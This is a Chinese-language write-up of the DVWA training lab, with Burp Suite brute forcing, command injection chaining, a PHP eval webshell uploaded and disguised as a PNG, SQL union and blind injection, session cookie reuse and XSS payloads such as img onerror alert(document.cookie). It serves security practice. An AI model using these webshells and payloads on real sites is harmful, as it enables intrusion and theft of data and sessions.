dvwa靶场实战

发布时间:2026/7/14 23:38:13

dvwa靶场实战
文章目录lowbrute forceCommand InjectionCross Site Request Forgery (CSRF)File InclusionFile UploadInsecure CAPTCHASQL InjectionSQL Injection (Blind)Weak Session IDsDOM Based Cross Site Scripting (XSS)Reflected Cross Site Scripting (XSS)Stored Cross Site Scripting (XSS)mediumBrute ForceCommand InjectionCross Site Request Forgery (CSRF)File InclusionFile UploadInsecure CAPTCHASQL InjectionSQL Injection (Blind)Weak Session IDsDOM Based Cross Site Scripting (XSS)Reflected Cross Site Scripting (XSS)Stored Cross Site Scripting (XSS)highBrute ForceCommand InjectionCross Site Request Forgery (CSRF)File InclusionFile UploadInsecure CAPTCHASQL InjectionSQL Injection (Blind)Weak Session IDsDOM Based Cross Site Scripting (XSS)Reflected Cross Site Scripting (XSS)Stored Cross Site Scripting (XSS)lowbrute force使用任意用户名和密码尝试登录使用 Burp Suite 进行抓包暴力破解发送到攻击器进行爆破选择集束炸弹模式payload1 设置成用户名payload2 设置成密码进行爆破根据长度数值判断出正确的用户名和密码是 admin/passwordCommand Injection提交 IP 地址得到回显如果是乱码修改dvwa\includes目录下的dvwaPage.ini.php文件搜索utf-8将其修改为GBK或GB2312。使用 Burp Suite 抓包查看猜测是前面拼接了ping命令所以只需要提交 IP 地址。这样的话可以利用命令拼接让系统继续执行后面的命令。命令连接符说明无论前一个命令是否执行成功后一个命令都会执行两个命令都会执行。前面一个命令执行成功后才能执行后面一个命令两个命令都执行|前面一个命令无论是否执行后面的命令都能执行且只执行后面一个||前面一个命令不能正常执行后才能执行后面一个命令Cross Site Request Forgery (CSRF)在界面上更改密码后提示更改成功但是 URL 栏会显示提交的内容说明我们在网站上输入的信息会在 URL 栏这里进行传输和执行。因此攻击者可以不通过该页面修改密码而是直接在任意页面通过地址栏修改。在 Home 页面地址栏输入修改密码的 URL会发现修改成功完成一次跨站请求伪造CSRF攻击。File Inclusion每次查看 1.php、2.php、3.php 会返回文件的内容同时会将文件名传给 page 参数所以可以尝试把参数换成本地文件路径。File Upload上传后门或恶意文件一句话木马?phpeval($_POST[shell]);?上传成功使用蚁剑进行连接URL 在上传成功的回显里。连接成功Insecure CAPTCHA直接使用 Burp Suite 抓包把step参数修改为2。SQL Injection随便输入 id 进行查看有回显尝试判断闭合方式。根据报错信息初步判断是单引号闭合。验证得到是单引号闭合。判断字段数输入 3 时报错输入 2 时正常所以有两个字段。使用联合查询进行数据拖库查询数据库名查询表名如果遇到下面错误DVWA 默认数据库dvwa中原查询从users表读取字段校对集一般为 utf8_general_ciinformation_schema.tables 系统库默认校对集多为 utf8_bin 或其他编码两者不匹配UNION 直接报错。使用table_nameCOLLATEutf8_general_ci手动强制把系统表字段编码改成和 DVWA 数据库一致彻底校对集冲突。查询列名提取数据密码需要再次使用md5进行解密。还可以使用报错注入的方式SQL Injection (Blind)盲注类型包括布尔盲注、时间盲注等。首先查看是否有回显、是否有报错信息等。判断闭合方式确认是单引号闭合。尝试进行布尔盲注。判断数据库名的长度可以使用二分法来逐渐缩小范围。最后得到长度为4长度等于4时不报错接着判断表名先判断表的个数。知道有两个表,再判断每张表名长度使用bp爆破两张表名通过结果得到两张表分别是guestbook / users同样地方法再去爆破列名最后爆破数据Weak Session IDs正常来讲在浏览器直接访问http://192.168.157.148:8080/dvwa/vulnerabilities/weak_id/会是登录页面使用 Burp Suite 抓包复制cookiedvwaSession1;securitylow;PHPSESSIDk41oqbpot3kt4ooq969hugdldu重新打开一个页面将刚才复制下来的cookie粘贴到上面就可以实现直接登录了不用输入用户名和密码在这之前要先清除一下浏览器的 cookie 值DOM Based Cross Site Scripting (XSS)选择不同标签时default 会发生变化在此传入 XSS 代码。传入的代码正常执行。Reflected Cross Site Scripting (XSS)传入随机值并查看结果直接传入 XSS 代码页面正常显示弹窗Stored Cross Site Scripting (XSS)上传的信息会被存储所以上传的xss代码会在每次登录该页面时触发上传代码重新刷新页面测试触发弹窗mediumBrute Force这个难度只是多了自动转义单引号’、双引号、反斜杠\、NULL 字符等 SQL 语句里的危险符号。还是可以和 Low 级别一样使用 Burp Suite 进行爆破。Command Injection这里增加了一个黑名单过滤// Set blacklist$substitutionsarray(,;,);只过滤了这两个符号依然可以使用管道符|进行拼接。Cross Site Request Forgery (CSRF)与 Low 级别一样的话会更改失败。它会检查请求的来源。// Checks to see where the request came fromif(stripos($_SERVER[HTTP_REFERER],$_SERVER[SERVER_NAME])!false)使用 Burp Suite 进行抓包发现请求中没有 Referer 字段。添加 Referer 字段其值需包含与 Host 相同的字段。放包后更改成功。File Inclusion和 Low 级别一样直接更改 URL。只是添加了过滤规则。第一次过滤把http://、https://直接清空以防御远程文件包含RFI。第二次过滤把../、..\直接清空尝试防御目录穿越路径遍历。可以使用双写绕过htthttp://p://和....//。File Upload这次只允许上传 JPEG 或 PNG 格式的图片文件将一句话木马文件后缀改为 .png 进行上传上传时使用 Burp Suite 抓包将文件后缀改回 .php使用蚁剑进行连接测试连接成功。Insecure CAPTCHA同样抓取数据包将step参数修改为2并在后面增加参数passed_captchatrue。SQL Injection这次不能直接进行注入操作。使用 Burp Suite 抓包查看注入点应该在 id 上。判断是数字型闭合。判断字段数2 不报错3 报错所以字段数是 2。接下来可以使用和上次一样的联合查询和报错注入进行数据拖库。SQL Injection (Blind)同样用 Burp Suite 抓包判断闭合方式依旧是数字型闭合接下来就是盲注可以使用时间盲注或者布尔盲注Weak Session IDs这里是通过时间戳来生成的 Session可以通过时间戳转换工具生成时间戳时间戳转换工具使用 Burp Suite 抓包得到时间戳和 Low 级别一样重新抓取一个页面使用 CookieDOM Based Cross Site Scripting (XSS)过滤了script只要含有script就会将default参数重定向为English# Do not allow script tagsif(stripos($default,script)!false){header(location: ?defaultEnglish);exit;}查看页面源码payloadEnglish/option/selectimg srcc onerroralert(document.cookie)闭合标签/option/select用于关闭下拉框紧随其后的img srcx onerroralert(document.cookie)完全跳出原有表单结构图片地址srcx不存在触发onerror事件浏览器执行 JavaScript 代码弹出 Cookie。Reflected Cross Site Scripting (XSS)输入scriptalert(1)/script发现正常回显应该是被过滤了查看源码发现是把script过滤了但str_replace是区分大小写的// Get input$namestr_replace(script,,$_GET[name]);使用大小写绕过Stored Cross Site Scripting (XSS)查看源码?phpif(isset($_POST[btnSign])){// Get input$messagetrim($_POST[mtxMessage]);$nametrim($_POST[txtName]);// Sanitize message input$messagestrip_tags(addslashes($message));$message((isset($GLOBALS[___mysqli_ston])is_object($GLOBALS[___mysqli_ston]))?mysqli_real_escape_string($GLOBALS[___mysqli_ston],$message):((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.,E_USER_ERROR))?:));$messagehtmlspecialchars($message);// Sanitize name input$namestr_replace(script,,$name);$name((isset($GLOBALS[___mysqli_ston])is_object($GLOBALS[___mysqli_ston]))?mysqli_real_escape_string($GLOBALS[___mysqli_ston],$name):((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.,E_USER_ERROR))?:));// Update database$queryINSERT INTO guestbook ( comment, name ) VALUES ( $message, $name );;$resultmysqli_query($GLOBALS[___mysqli_ston],$query)ordie(pre.((is_object($GLOBALS[___mysqli_ston]))?mysqli_error($GLOBALS[___mysqli_ston]):(($___mysqli_resmysqli_connect_error())?$___mysqli_res:false))./pre);//mysql_close();}?Message 处使用了 htmlspecialchars() 函数将字符转义为 HTML 实体因此 Message 处无法利用 XSS 进行攻击。Name 处有长度限制并且会将script替换为空但使用的是 str_replace 函数因此可以考虑使用大小写来绕过。解决长度限制将 maxlength 的值改大即可。注入测试成功highBrute Force使用 Burp Suite 抓包发现请求中携带了 token。选择 Pitchfork 模式设置 payload。点击添加选中 token 值。刚开始抓的包不要释放否则此处无法获取到 token 值。此处应选择“总是”。并发要选择1第一个payload使用密码本第二个使用递归提取设置好初始值开始攻击成功获得密码Command Injection设置了黑名单过滤// Set blacklist$substitutionsarray(,;,| ,-,$,(,),,||,);但是其中| 是|后面有一个空格才会被过滤所以还是可以直接使用|。Cross Site Request Forgery (CSRF)可以看到这次多了token使用 Burp Suite 抓包在重放器Repeater中发送请求可以获得新的 token用新的 token 构造 URL修改成功File Inclusion直接使用文件路径访问失败查看源码只允许文件名是file开头或者是include.php// Input validationif(!fnmatch(file*,$file)$file!include.php){// This isnt the page we want!echoERROR: File not found!;所以可以用file 参数去构建File Upload尝试修改后缀上传失败查看源码// Is it an image?if((strtolower($uploaded_ext)jpg||strtolower($uploaded_ext)jpeg||strtolower($uploaded_ext)png)($uploaded_size100000)($uploaded_typeimage/jpeg||$uploaded_typeimage/png)getimagesize($uploaded_tmp)){// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)if($uploaded_typeimage/jpeg){$imgimagecreatefromjpeg($uploaded_tmp);imagejpeg($img,$temp_file,100);}else{$imgimagecreatefrompng($uploaded_tmp);imagepng($img,$temp_file,9);}imagedestroy($img);// Can we move the file to the web root from the temp folder?if(rename($temp_file,(getcwd().DIRECTORY_SEPARATOR.$target_path.$target_file))){// Yes!echoprea href${target_path}${target_file}${target_file}/a successfully uploaded!/pre;}else{// NoechopreYour image was not uploaded./pre;}// Delete any temp filesif(file_exists($temp_file))unlink($temp_file);}else{// Invalid fileechopreYour image was not uploaded. We can only accept JPEG or PNG images./pre;}因此必须上传一个图片木马它对文件的文件头、文件名格式等都做了检查。先制作一个图片木马图片木马的文件大小不能超过 100000 字节。在 cmd 中输入顺序别搞错了/b先读完整 PNG 二进制保留标准 PNG 文件头再追加 PHP 文本到文件末尾文件头依然是合法 PNG后端文件类型检测完全放行。copy xxx.png /b xxxx.php /a xxxx.php上传制作的图片马上传成功现在还是利用不了因为后缀还是png因为不能通过bp抓包修改后缀所以可以利用 Command Injection中的漏洞把后缀改成php1|ren C:\phpstudy_pro\WWW\dvwa\hackable\uploads\backdoor.png backdoor.php使用蚁剑尝试连接连接成功Insecure CAPTCHAif($resp||($_POST[g-recaptcha-response]hidd3n_valu3$_SERVER[HTTP_USER_AGENT]reCAPTCHA)){// CAPTCHA was correct. Do both new passwords match?if($pass_new$pass_conf){$pass_new((isset($GLOBALS[___mysqli_ston])is_object($GLOBALS[___mysqli_ston]))?mysqli_real_escape_string($GLOBALS[___mysqli_ston],$pass_new):((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.,E_USER_ERROR))?:));$pass_newmd5($pass_new);// Update database$insertUPDATE users SET password $pass_new WHERE user .dvwaCurrentUser(). LIMIT 1;;$resultmysqli_query($GLOBALS[___mysqli_ston],$insert)ordie(pre.((is_object($GLOBALS[___mysqli_ston]))?mysqli_error($GLOBALS[___mysqli_ston]):(($___mysqli_resmysqli_connect_error())?$___mysqli_res:false))./pre);// Feedback for userechoprePassword Changed./pre;}else{// Ops. Password mismatch$html.preBoth passwords must match./pre;$hide_formfalse;}}原先只有验证码为真才能通过验证现在新增了“或者 g-recaptcha-response 且 HTTP_USER_AGENT 为特定内容”即可通过验证。直接用 Burp Suite 修改数据包。SQL Injection判断闭合方式为单引号闭合使用 UNION 联合查询后续操作与之前相同密码需要进行 MD5 解密SQL Injection (Blind)同样是单引号闭合后续操作与之前的盲注相同。Weak Session IDs这次使用了 MD5 加密解密后与 Low 级别相同。在新页面粘贴复制的 Cookie即可直接进入。DOM Based Cross Site Scripting (XSS)查看源码// Is there any input?if(array_key_exists(default,$_GET)!is_null($_GET[default])){# White list the allowable languagesswitch($_GET[default]){caseFrench:caseEnglish:caseGerman:caseSpanish:# okbreak;default:header(location: ?defaultEnglish);exit;}}设置了白名单如果 default 的值不为 “French”、“English”、“German”、“Spanish” 的话就重置 URL 为?defaultEnglish。可以考虑使用#或者。Reflected Cross Site Scripting (XSS)源码// Is there any input?if(array_key_exists(name,$_GET)$_GET[name]!NULL){// Get input$namepreg_replace(/(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i,,$_GET[name]);// Feedback for end userechopreHello ${name}/pre;}preg_replace() 函数执行一个正则表达式的搜索和替换“*” 代表一个或多个任意字符“i” 代表不区分大小写。因此script被过滤掉了只能使用其他标签。img src1onerroralert(1)Stored Cross Site Scripting (XSS)源码// Sanitize message input$messagestrip_tags(addslashes($message));$message((isset($GLOBALS[___mysqli_ston])is_object($GLOBALS[___mysqli_ston]))?mysqli_real_escape_string($GLOBALS[___mysqli_ston],$message):((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.,E_USER_ERROR))?:));$messagehtmlspecialchars($message);// Sanitize name input$namepreg_replace(/(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i,,$name);$name((isset($GLOBALS[___mysqli_ston])is_object($GLOBALS[___mysqli_ston]))?mysqli_real_escape_string($GLOBALS[___mysqli_ston],$name):((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.,E_USER_ERROR))?:));message 留言框strip_tags直接剥离所有 HTML/JS 标签addslashesmysqli_real_escape_string双重转义杜绝 SQL 注入htmlspecialchars把 ’ 全部转为 HTML 实体字符就算残留符号也只会原样显示文本不会被浏览器解析成标签。name 框和上一个一样使用preg_replace函数执行一个正则表达式的搜索和替换不管大小写、中间插入任意字符只要是 任意内容 script结构全部清空。所以还是使用其他标签例如img。img src1onerroralert(1)要是直接在 name 框输入的话需要先修改限制长度。存储成功每次访问都会弹出

相关新闻

【译】利用 GitHub Actions 实现 Visual Studio 扩展构建自动化

【译】利用 GitHub Actions 实现 Visual Studio 扩展构建自动化

2026/7/14 23:38:13

如果您正在开发和维护 Visual Studio 扩展程序,大概率都会搭建一套构建与发布工作流 —— 无论是手动操作、脚本化的,还是长期逐步拼凑而成的流程。本文面向扩展插件开发者,如果您希望借助 GitHub Actions 实现 VSIX 文件的构建、版本管理与发…

雪花算法时钟回拨的问题,和百度UidGenerator、美团Leaf的选型对比

雪花算法时钟回拨的问题,和百度UidGenerator、美团Leaf的选型对比

2026/7/14 23:28:12

要解决分布式ID生成的难题,工业界的主流思路,可以理解为在“原生雪花算法”这棵树的主干上,长出了两个主要的分支:一类是以美团Leaf为代表的号段模式与雪花模式双修派;另一类是以百度UidGenerator为代表的极致性能派。…

智能驾驶中的车道线检测技术:从传统方法到深度学习

智能驾驶中的车道线检测技术:从传统方法到深度学习

2026/7/14 23:28:12

1. 车道线检测技术概述车道线检测作为计算机视觉在智能驾驶领域的核心应用,已经发展了近三十年。这项技术从最初的基于颜色分割的简单算法,逐步演变为如今融合深度学习与几何约束的复杂系统。在实际道路场景中,车道线不仅要应对光照变化、遮挡…

深入解析TI TPS6593-Q1汽车级PMIC:多相电源、DVS与EMC设计实战

深入解析TI TPS6593-Q1汽车级PMIC:多相电源、DVS与EMC设计实战

2026/7/15 1:08:17

1. 项目概述:一颗为复杂系统供电的“心脏”在任何一个复杂的电子系统中,无论是车载信息娱乐主机、高级驾驶辅助系统(ADAS)的域控制器,还是高性能的工业网关,其稳定运行的基石都离不开一颗强大而精密的“心脏…

汽车电源设计实战:LM5141-Q1降压控制器核心特性与EMI优化解析

汽车电源设计实战:LM5141-Q1降压控制器核心特性与EMI优化解析

2026/7/15 1:08:17

1. 项目概述:为什么汽车电源需要一颗“聪明”的心脏?在汽车电子系统里,电源就像心脏,为信息娱乐主机、仪表盘、高级驾驶辅助系统(ADAS)这些“器官”持续供血。这颗“心脏”面临的挑战可不小:它得…

13DOF传感器与dsPIC30F4011组合方案解析

13DOF传感器与dsPIC30F4011组合方案解析

2026/7/15 1:08:17

1. 为什么需要13DOF传感器与dsPIC30F4011的组合方案在机器人导航、无人机控制等移动平台应用中,传统9轴IMU(加速度计陀螺仪磁力计)存在两个明显短板:一是气压数据的缺失导致高度测量依赖其他传感器融合,二是微控制器算…

基于51单片机的LCD1602计算器Proteus仿真与源码深度解析

基于51单片机的LCD1602计算器Proteus仿真与源码深度解析

2026/7/15 1:08:17

1. 项目概述与核心功能这个基于51单片机的LCD1602计算器项目,是我带学生做课程设计时反复打磨的经典案例。它不仅能完成加减乘除基本运算,还实现了平方、开方等进阶功能,所有输入和结果都清晰地显示在LCD1602液晶屏上。实测下来,这…

PCF8591与PIC18F96J65的ADC/DAC信号转换方案详解

PCF8591与PIC18F96J65的ADC/DAC信号转换方案详解

2026/7/15 1:08:17

1. 项目概述:PCF8591与PIC18F96J65的信号转换方案在嵌入式系统开发中,模拟信号与数字信号的相互转换是基础但关键的技术环节。PCF8591作为一款经典的8位ADC/DAC转换芯片,与PIC18F96J65这款高性能微控制器的组合,能够为各类工业控制…

两地三中心异地多活交易架构深度落地:机房级故障秒级容灾、业务零中断方案

两地三中心异地多活交易架构深度落地:机房级故障秒级容灾、业务零中断方案

2026/7/15 0:58:16

前言对于金融、头部电商、支付交易、核心政企系统而言,高并发、高可用只是基础,业务永不中断才是底线。普通单机房、同城单活架构,只能解决服务器宕机、服务重启、单节点故障等常规问题,完全无法抵御机房级、城市级灾难性故障。机…

Unity游戏文本翻译架构深度解析:XUnity.AutoTranslator的技术实现与工程实践

Unity游戏文本翻译架构深度解析:XUnity.AutoTranslator的技术实现与工程实践

2026/7/14 10:03:09

Unity游戏文本翻译架构深度解析:XUnity.AutoTranslator的技术实现与工程实践 【免费下载链接】XUnity.AutoTranslator 项目地址: https://gitcode.com/gh_mirrors/xu/XUnity.AutoTranslator XUnity.AutoTranslator作为Unity游戏社区中最成熟的文本翻译解决方…

openEuler Raspberry Pi Kernel设备驱动开发指南:为树莓派硬件添加支持

openEuler Raspberry Pi Kernel设备驱动开发指南:为树莓派硬件添加支持

2026/7/13 20:43:19

openEuler Raspberry Pi Kernel设备驱动开发指南:为树莓派硬件添加支持 【免费下载链接】raspberrypi-kernel It provides openEuler kernel source for Raspberry Pi 项目地址: https://gitcode.com/openeuler/raspberrypi-kernel 前往项目官网免费下载&…

openEuler系统集成测试实战:基于smoke-test套件的环境验证技巧

openEuler系统集成测试实战:基于smoke-test套件的环境验证技巧

2026/7/15 0:26:43

openEuler系统集成测试实战:基于smoke-test套件的环境验证技巧 【免费下载链接】integration-test The repo contains test suits for system integration test 项目地址: https://gitcode.com/openeuler/integration-test 前往项目官网免费下载:…

【LINUX】驱动

【LINUX】驱动

2026/7/15 0:08:14

【LINUX驱动】【字符设备】【中断】【Platform】【网课 设备树】【GPIO】【PINCTRL】【INPUT】【IIC】【SPI】【网络驱动】【屏幕驱动】【一 设备树】【二 内核模块编译】【三 基本驱动框架】【四 Platform总线设备驱动框架】【五 驱动子系统】【六 综合】

【1982-2026】全国高精度建筑轮廓|村级精度|SHP矢量

【1982-2026】全国高精度建筑轮廓|村级精度|SHP矢量

2026/7/15 0:08:14

🔍 数据简介 本次分享1982-2026年全国村级精度建筑轮廓矢量数据,覆盖全国各省市区县,到村级别精细,为2026年最新实时采集成果,非网传仅60/77个城市的老旧数据。 数据含带高度/不带高度双版本,单体建筑边界精…

【1975-2026】全国水系水路数据|河流/水库/运河|SHP矢量

【1975-2026】全国水系水路数据|河流/水库/运河|SHP矢量

2026/7/15 0:08:14

🔍 数据简介 本次分享1975-2026年全国高精度水系水路矢量数据,覆盖全国全域,包含河流、水系、水库、运河、湿地、冰川、沟渠等全类别水文要素。 数据集包含双层矢量图层,字段分类清晰、要素齐全,支持2013-2026逐年完整…